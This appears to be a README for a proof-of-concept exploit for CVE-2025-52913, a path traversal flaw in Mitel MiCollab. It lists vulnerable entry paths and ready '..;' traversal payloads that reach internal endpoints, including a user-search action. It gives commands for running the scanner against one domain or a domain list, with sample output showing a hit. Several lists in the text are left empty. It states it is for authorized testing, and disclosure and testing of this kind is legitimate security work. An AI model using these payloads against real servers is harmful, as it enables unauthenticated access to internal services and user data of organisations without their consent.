
A Proof of Concept (PoC) for CVE-2025-52913, a path normalization vulnerability affecting Mitel MiCollab.
This repository contains a Proof of Concept (PoC) for CVE-2025-52913, a path normalization vulnerability affecting Mitel MiCollab.
The issue allows unauthenticated attackers to bypass intended path restrictions by leveraging crafted URL sequences such as ..;, leading to access to internal application endpoints.
Successful exploitation may allow:
The vulnerability can be triggered via the following paths:
/npm-pwg/loginForm.jsp/
/npm-pwg/extendedUmPlayMessage.jsp/
/npm-admin/showLoginPage.do/
/npm-admin/login.do/
Example traversal payloads:
/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp
/..;/..;/usp/searchUsers.do
pip install -r requirements.txt
python3 POC-CVE-2025-52913.py example.com
python3 POC-CVE-2025-52913.py domains.txt
[*] Testing http://example.com
[+] http://example.com/npm-pwg/loginForm.jsp/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp - 200
[!] Possible success
A target is likely vulnerable if:
The server responds with HTTP 200
The response contains:
Axis2Axis2 Happiness PageThe vulnerability arises from improper normalization of crafted paths containing ..;, allowing traversal beyond the intended application context.
This behavior can expose internal services such as:
Discovered by Dahmani Toumi
This project is intended for educational purposes and authorized security testing only.
Do not use this tool against systems without explicit permission. The author is not responsible for any misuse or damage.